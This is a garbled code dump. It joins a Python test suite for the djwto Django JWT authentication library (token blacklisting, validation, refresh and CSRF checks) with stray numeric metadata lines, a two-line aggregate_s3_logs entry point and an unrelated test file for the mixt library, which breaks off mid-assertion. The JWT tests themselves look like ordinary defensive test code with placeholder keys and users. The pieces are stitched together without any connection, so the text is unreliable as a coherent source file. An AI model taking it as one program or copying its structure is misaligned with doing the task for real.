JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='3').exists() obj = JWTBlacklist.objects.get(jti='3') assert obj.jti == '3' assert obj.token == expected_jwt assert obj.expires is None def test_delete_one_cookie_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = expected_jwt request = rf.delete('/api/tokens') csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Tokens successfully deleted."}' ) assert response.status_code == 200 assert 'Max-Age=0' in str(response.cookies['jwt_refresh']) assert 'Max-Age=0' in str(response.cookies['jwt_access']) def test_post_one_cookie_mode_without_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = False reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'jti': '3', 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='3').exists() obj = JWTBlacklist.objects.get(jti='3') assert obj.jti == '3' assert obj.token == expected_jwt assert obj.expires is None def test_post_two_cookies_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'jti': '4', 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access_payload'] = 'value access payload' rf.cookies['jwt_access_token'] = 'value access token' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='4').exists() obj = JWTBlacklist.objects.get(jti='4') assert obj.jti == '4' assert obj.token == expected_jwt assert obj.expires is None def test_delete_two_cookies_mode_with_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = True reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access_payload'] = expected_payload rf.cookies['jwt_access_token'] = expected_jwt request = rf.delete('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Tokens successfully deleted."}' ) assert response.status_code == 200 assert 'Max-Age=0' in str(response.cookies['jwt_refresh']) assert 'Max-Age=0' in str(response.cookies['jwt_access_payload']) assert 'Max-Age=0' in str(response.cookies['jwt_access_token']) def test_post_two_cookies_mode_without_csrf(self, rf): reload(settings) settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = False reload(views) from djwto.views import BlackListTokenView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key expected_payload = {'jti': '4', 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access_payload'] = 'value access payload' rf.cookies['jwt_access_token'] = 'value access token' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) response = BlackListTokenView.as_view()(request) assert response.content == ( b'{"msg": "Token successfully blacklisted."}' ) assert response.status_code == 200 assert JWTBlacklist.objects.all().count() == 2 assert JWTBlacklist.objects.filter(jti='4').exists() obj = JWTBlacklist.objects.get(jti='4') assert obj.jti == '4' assert obj.token == expected_jwt assert obj.expires is None class TestValidateTokensView: sign_key = 'test' def test_post_returns_error_response(self, rf): reload(settings) reload(views) from djwto.views import ValidateTokensView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' request = rf.post('/api/tokens') response = ValidateTokensView.as_view()(request) assert response.content == ( b'{"error": "Token not found in \\"HTTP_AUTHORIZATION\\" header."}' ) assert response.status_code == 403 # Invalid JWT settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=-1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = ValidateTokensView.as_view()(request) assert response.content == ( b'{"error": "Signature has expired"}' ) assert response.status_code == 403 # Test view is protected by CSRF settings.DJWTO_CSRF = True settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' reload(views) from djwto.views import ValidateTokensView request = rf.post('/api/tokens/refresh') response = ValidateTokensView.as_view()(request) assert b'Forbidden' in response.content assert response.status_code == 403 # Invalid JWT Cookie settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True reload(views) from djwto.views import ValidateTokensView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=-1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = ValidateTokensView.as_view()(request) assert response.content == b'{"error": "Signature has expired"}' assert response.status_code == 403 def test_post(self, rf): reload(settings) reload(views) from djwto.views import ValidateTokensView # JSON Mode settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = ValidateTokensView.as_view()(request) assert response.content == ( b'{"msg": "Token is valid"}' ) assert response.status_code == 200 # ONE-COOOKIE Mode settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True reload(views) from djwto.views import ValidateTokensView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = 'refresh' rf.cookies['jwt_access'] = expected_jwt request = rf.post('/api/tokens') csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = ValidateTokensView.as_view()(request) assert response.content == ( b'{"msg": "Token is valid"}' ) assert response.status_code == 200 # TWO-COOKIES Mode settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = True reload(views) from djwto.views import ValidateTokensView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access_payload'] = 'value access payload' rf.cookies['jwt_access_token'] = 'value access token' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = ValidateTokensView.as_view()(request) assert response.content == ( b'{"msg": "Token is valid"}' ) assert response.status_code == 200 def test_post_sends_signal(self, rf): reload(settings) reload(views) from djwto.views import ValidateTokensView # JSON Mode settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) handler = mock.Mock() signals.jwt_token_validated.connect(handler, sender='ValidateTokensView') request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' _ = ValidateTokensView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request'] assert call['sender'] == 'ValidateTokensView' @pytest.mark.django_db class TestRefreshAccessView: sign_key = 'test' def test_post_returns_error_response(self, rf): reload(settings) # Test view is protected by CSRF settings.DJWTO_CSRF = True settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' reload(views) from djwto.views import RefreshAccessView request = rf.post('/api/tokens/refresh') response = RefreshAccessView.as_view()(request) assert b'Forbidden' in response.content assert response.status_code == 403 # Invalid JWT Cookie reload(views) from djwto.views import RefreshAccessView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=-1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = RefreshAccessView.as_view()(request) assert response.content == b'{"error": "Signature has expired"}' assert response.status_code == 403 # Refresh Token was Blacklisted settings.DJWTO_JTI_CLAIM = True exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'jti': 1, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = RefreshAccessView.as_view()(request) assert response.content == b'{"error": "Can\'t update access token."}' assert response.status_code == 500 def test_post(self, rf, monkeypatch, date_mock): reload(settings) reload(views) from djwto.views import RefreshAccessView build_mock = mock.Mock() build_mock.return_value = 'worked' d_mock = mock.Mock() d_mock.utcnow.return_value = date_mock monkeypatch.setattr('djwto.views.build_tokens_response', build_mock) monkeypatch.setattr('djwto.tokens.datetime', d_mock) # JSON Mode settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_payload = tokens.decode_token(expected_jwt) expected_access_payload = expected_payload.copy() expected_access_payload['exp'] = timegm( (date_mock + settings.DJWTO_ACCESS_TOKEN_LIFETIME).utctimetuple()) expected_access_payload['type'] = 'access' request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = RefreshAccessView.as_view()(request) assert response == 'worked' msg = 'Access token successfully refreshed.' build_mock.assert_any_call(expected_payload, expected_access_payload, msg) # ONE-COOOKIE Mode settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_CSRF = True reload(views) from djwto.views import RefreshAccessView build_mock = mock.Mock() build_mock.return_value = JsonResponse({}) d_mock = mock.Mock() d_mock.utcnow.return_value = date_mock monkeypatch.setattr('djwto.views.build_tokens_response', build_mock) monkeypatch.setattr('djwto.tokens.datetime', d_mock) settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'access' request = rf.post('/api/tokens', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = RefreshAccessView.as_view()(request) assert response.content == b'{}' assert response.status_code == 200 build_mock.assert_any_call(expected_payload, expected_access_payload, msg) # TWO-COOOKIES Mode settings.DJWTO_MODE = 'TWO-COOKIES' settings.DJWTO_CSRF = True reload(views) from djwto.views import RefreshAccessView build_mock = mock.Mock() build_mock.return_value = JsonResponse({}) d_mock = mock.Mock() d_mock.utcnow.return_value = date_mock monkeypatch.setattr('djwto.views.build_tokens_response', build_mock) monkeypatch.setattr('djwto.tokens.datetime', d_mock) settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access_payload'] = 'access payload' rf.cookies['jwt_access_token'] = 'access token' request = rf.post('/api/tokens', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = RefreshAccessView.as_view()(request) assert response.content == b'{}' build_mock.assert_any_call(expected_payload, expected_access_payload, msg) # Refresh Token was NOT Blacklisted settings.DJWTO_JTI_CLAIM = True exp = datetime.now() + timedelta(days=1) expected_payload = {'exp': exp, 'jti': 3, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = RefreshAccessView.as_view()(request) assert response.content == b'{}' assert response.status_code == 200 def test_post_sends_signal(self, rf, monkeypatch, date_mock): reload(settings) reload(views) from djwto.views import RefreshAccessView # JSON Mode settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) handler = mock.Mock() signals.jwt_access_refreshed.connect(handler, sender='RefreshAccessView') request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' _ = RefreshAccessView.as_view()(request) request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) _ = RefreshAccessView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'refresh_claims', 'access_claims'] assert call['sender'] == 'RefreshAccessView' @pytest.mark.django_db class TestUpdateRefreshView: sign_key = 'test' def test_post_returns_error_response(self, rf): reload(settings) # Test view is protected by CSRF settings.DJWTO_CSRF = True settings.DJWTO_MODE = 'ONE-COOKIE' settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' reload(views) from djwto.views import UpdateRefreshView request = rf.post('/api/tokens/refresh') response = UpdateRefreshView.as_view()(request) assert b'Forbidden' in response.content assert response.status_code == 403 # Invalid JWT Cookie reload(views) from djwto.views import UpdateRefreshView settings.DJWTO_REFRESH_COOKIE_PATH = '/api/tokens/refresh' settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = datetime.now() + timedelta(days=-1) expected_payload = {'exp': exp} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) rf.cookies['jwt_refresh'] = expected_jwt rf.cookies['jwt_access'] = 'value access' request = rf.post('/api/tokens/refresh', {'jwt_type': 'refresh'}) csrf_token = get_token(request) request.COOKIES['csrftoken'] = csrf_token request.META['HTTP_X_CSRFTOKEN'] = csrf_token response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "Signature has expired"}' assert response.status_code == 403 def test_post_settings_refresh_update(self, rf, monkeypatch): reload(settings) reload(views) from djwto.views import UpdateRefreshView # JSON Mode Disabled Refresh settings.DJWTO_ALLOW_REFRESH_UPDATE = False settings.DJWTO_IAT_CLAIM = False settings.DJWTO_JTI_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh', 'jti': '1'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "Can\'t update refresh token."}' assert response.status_code == 500 # Enable Refresh and JTI settings.DJWTO_ALLOW_REFRESH_UPDATE = True settings.DJWTO_JTI_CLAIM = True request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "Can\'t update refresh token."}' assert response.status_code == 500 def test_post_sends_signal(self, rf, monkeypatch): reload(settings) reload(views) from djwto.views import UpdateRefreshView # JSON Mode Disabled Refresh settings.DJWTO_SIGNING_KEY = self.sign_key settings.DJWTO_ALLOW_REFRESH_UPDATE = True settings.DJWTO_JTI_CLAIM = False settings.DJWTO_IAT_CLAIM = False exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) handler = mock.Mock() signals.jwt_refresh_updated.connect(handler, sender='UpdateRefreshView') request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' _ = UpdateRefreshView.as_view()(request) request = rf.post('/api/tokens', {'username': 'alice', 'password': 'pass'}) _ = UpdateRefreshView.as_view()(request) call = handler.call_args.kwargs assert list(call.keys()) == ['signal', 'sender', 'request', 'refresh_claims', 'access_claims'] assert call['sender'] == 'UpdateRefreshView' def test_post_blacklist_jti(self, rf, monkeypatch, date_mock): reload(settings) reload(views) from djwto.views import UpdateRefreshView build_mock = mock.Mock() build_mock.return_value = 'worked' d_mock = mock.Mock() d_mock.utcnow.return_value = date_mock monkeypatch.setattr('djwto.views.build_tokens_response', build_mock) monkeypatch.setattr('djwto.tokens.datetime', d_mock) monkeypatch.setattr('djwto.views.datetime', d_mock) settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh', 'jti': '1'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_payload = tokens.decode_token(expected_jwt) # Enable Refresh and JTI settings.DJWTO_ALLOW_REFRESH_UPDATE = True settings.DJWTO_JTI_CLAIM = True request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "Can\'t update refresh token."}' assert response.status_code == 500 # Token is not blacklisted now expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh', 'jti': '2'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_payload = tokens.decode_token(expected_jwt) expected_access_payload = expected_payload.copy() expected_access_payload['exp'] = timegm( (date_mock + settings.DJWTO_ACCESS_TOKEN_LIFETIME).utctimetuple()) expected_access_payload['type'] = 'access' request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) expected_payload['exp'] = timegm( (date_mock + settings.DJWTO_REFRESH_TOKEN_LIFETIME).utctimetuple() ) msg = 'Refresh token successfully updated.' build_mock.assert_any_call(expected_payload, expected_access_payload, msg) # Add IAT settings.DJWTO_IAT_CLAIM = True expected_payload = {'exp': exp, 'user': {'username': 'alice', 'id': 1}, 'type': 'refresh', 'jti': '2', 'iat': timegm(date_mock.utctimetuple())} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_payload = tokens.decode_token(expected_jwt) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' expected_payload['exp'] = timegm( (date_mock + settings.DJWTO_REFRESH_TOKEN_LIFETIME).utctimetuple() ) expected_payload['iat'] = timegm(date_mock.utctimetuple()) expected_access_payload['iat'] = timegm(date_mock.utctimetuple()) expected_access_payload['refresh_iat'] = timegm(date_mock.utctimetuple()) _ = UpdateRefreshView.as_view()(request) build_mock.assert_any_call(expected_payload, expected_access_payload, msg) def test_post_user_errors(self, rf, monkeypatch, date_mock): reload(settings) reload(views) from djwto.views import UpdateRefreshView settings.DJWTO_IAT_CLAIM = False settings.DJWTO_SIGNING_KEY = self.sign_key exp = timegm((datetime.now() + timedelta(days=1)).utctimetuple()) expected_payload = {'exp': exp, 'user': {'username': 'bob', 'id': 2}, 'type': 'refresh', 'jti': '2'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) # User is not active settings.DJWTO_ALLOW_REFRESH_UPDATE = True settings.DJWTO_JTI_CLAIM = False request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "User is inactive."}' assert response.status_code == 403 # User doesn't exist expected_payload = {'exp': exp, 'user': {'username': 'claire', 'id': 3}, 'type': 'refresh', 'jti': '2'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) assert response.content == b'{"error": "Can\'t update refresh token."}' assert response.status_code == 500 # Scenario where user is not saved in token settings.DJWTO_IAT_CLAIM = False import djwto.authentication as auth import djwto.tokens as tokens backup = auth.jwt_login_required # Ugly hack to change jwt_login_required def mock_test_func(request): token = auth.get_raw_token_from_request(request) payload = tokens.decode_token(token) request.payload = payload request.token = token return True, '' def mock_jwt_login_required(view_func): return auth.jwt_passes_test(mock_test_func)(view_func) auth.jwt_login_required = mock_jwt_login_required reload(views) from djwto.views import UpdateRefreshView build_mock = mock.Mock() build_mock.return_value = 'worked' d_mock = mock.Mock() d_mock.utcnow.return_value = date_mock monkeypatch.setattr('djwto.views.build_tokens_response', build_mock) monkeypatch.setattr('djwto.tokens.datetime', d_mock) monkeypatch.setattr('djwto.views.datetime', d_mock) expected_payload = {'exp': exp, 'type': 'refresh', 'jti': '2'} expected_jwt = pyjwt.encode(expected_payload, self.sign_key) expected_payload = tokens.decode_token(expected_jwt) expected_access_payload = expected_payload.copy() expected_access_payload['exp'] = timegm( (date_mock + settings.DJWTO_ACCESS_TOKEN_LIFETIME).utctimetuple()) expected_access_payload['type'] = 'access' expected_payload['exp'] = timegm( (date_mock + settings.DJWTO_REFRESH_TOKEN_LIFETIME).utctimetuple()) request = rf.post('/api/tokens') request.META['HTTP_AUTHORIZATION'] = f'Authorization: Bearer {expected_jwt}' response = UpdateRefreshView.as_view()(request) msg = 'Refresh token successfully updated.' build_mock.assert_any_call(expected_payload, expected_access_payload, msg) auth.jwt_login_required = backup
42.350855
89
0.634152
7,593
66,872
5.37337
0.052812
0.072647
0.02076
0.025098
0.894681
0.876961
0.863922
0.849853
0.84424
0.837304
0
0.005913
0.248849
66,872
1,578
90
42.377693
0.806335
0.051875
0
0.834504
0
0.007806
0.162052
0.013393
0
0
0
0
0.135051
1
0.026542
false
0.017955
0.046058
0.000781
0.092116
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
27abd4ffda4cf8b38c1dd71e5db907c836944044
67
py
Python
aggregate_s3_logs/__main__.py
messa/aggregate-s3-logs
50cf8e224e8b32a12c3d575b6a65a06808cf732f
[ "MIT" ]
1
2020-03-03T18:32:20.000Z
2020-03-03T18:32:20.000Z
aggregate_s3_logs/__main__.py
messa/aggregate-s3-logs
50cf8e224e8b32a12c3d575b6a65a06808cf732f
[ "MIT" ]
1
2020-03-20T09:36:44.000Z
2020-03-20T09:36:44.000Z
aggregate_s3_logs/__main__.py
messa/aggregate-s3-logs
50cf8e224e8b32a12c3d575b6a65a06808cf732f
[ "MIT" ]
null
null
null
from .main import aggregate_s3_logs_main aggregate_s3_logs_main()
16.75
40
0.865672
11
67
4.727273
0.545455
0.423077
0.576923
0.730769
0
0
0
0
0
0
0
0.032787
0.089552
67
3
41
22.333333
0.819672
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
27bce953f3c6de938f22c78e7495555e71f771fa
16,255
py
Python
tests/test_parent.py
adrienbrunet/mixt
d725ec752ce430d135e993bc988bfdf2b8457c4b
[ "MIT" ]
27
2018-06-04T19:11:42.000Z
2022-02-23T22:46:39.000Z
tests/test_parent.py
adrienbrunet/mixt
d725ec752ce430d135e993bc988bfdf2b8457c4b
[ "MIT" ]
7
2018-06-09T15:27:51.000Z
2021-03-11T20:00:35.000Z
tests/test_parent.py
adrienbrunet/mixt
d725ec752ce430d135e993bc988bfdf2b8457c4b
[ "MIT" ]
3
2018-07-29T10:20:02.000Z
2021-11-18T19:55:07.000Z
# coding: mixt """Ensure that parents are saved correctly.""" from mixt import Element, html def test_simple_parent(): div = <div> <span><br /></span> <span /> </div> assert div.__parent__ is None span1, span2 = div.__children__ assert span1.__parent__ is div assert span2.__parent__ is div br, = span1.__children__ assert br.__parent__ is span1 assert len(span2.__children__) == 0 def test_parent_via_fragment(): div = <div> <Fragment> <span><br /></span> <span /> </Fragment> </div> assert div.__parent__ is None span1, span2 = div.__children__ assert span1.__parent__ is div assert span2.__parent__ is div br, = span1.__children__ assert br.__parent__ is span1 assert len(span2.__children__) == 0 def test_parent_via_encapsulated_fragments(): div = <div> <Fragment> <Fragment> <Fragment> <span><br /></span> <span /> </Fragment> </Fragment> </Fragment> </div> assert div.__parent__ is None span1, span2 = div.__children__ assert span1.__parent__ is div assert span2.__parent__ is div br, = span1.__children__ assert br.__parent__ is span1 assert len(span2.__children__) == 0 def test_parent_via_encapsulated_fragments_and_siblings(): div = <div> <Fragment> <Fragment> <Fragment> <span><br /></span> <span /> </Fragment> <div /> </Fragment> </Fragment> </div> assert div.__parent__ is None span1, span2, div2 = div.__children__ assert span1.__parent__ is div assert span2.__parent__ is div assert div2.__parent__ is div br, = span1.__children__ assert br.__parent__ is span1 assert len(span2.__children__) == 0 def test_append_one_el_to_empty(): parent = <div /> parent_children = parent.__children__ child = <span /> assert parent.__children__ == [] parent.append(child) assert parent.__children__ == [child] assert parent_children is parent.__children__ assert child.__parent__ is parent assert str(parent) == '<div><span></span></div>' def test_append_one_string_to_empty(): parent = <div /> parent_children = parent.__children__ child = "foo" parent.append(child) assert parent.__children__ == [child] assert parent_children is parent.__children__ assert str(parent) == '<div>foo</div>' def test_prepend_one_el_to_empty(): parent = <div /> parent_children = parent.__children__ child = <span /> parent.prepend(child) assert parent.__children__ == [child] assert parent_children is parent.__children__ assert child.__parent__ 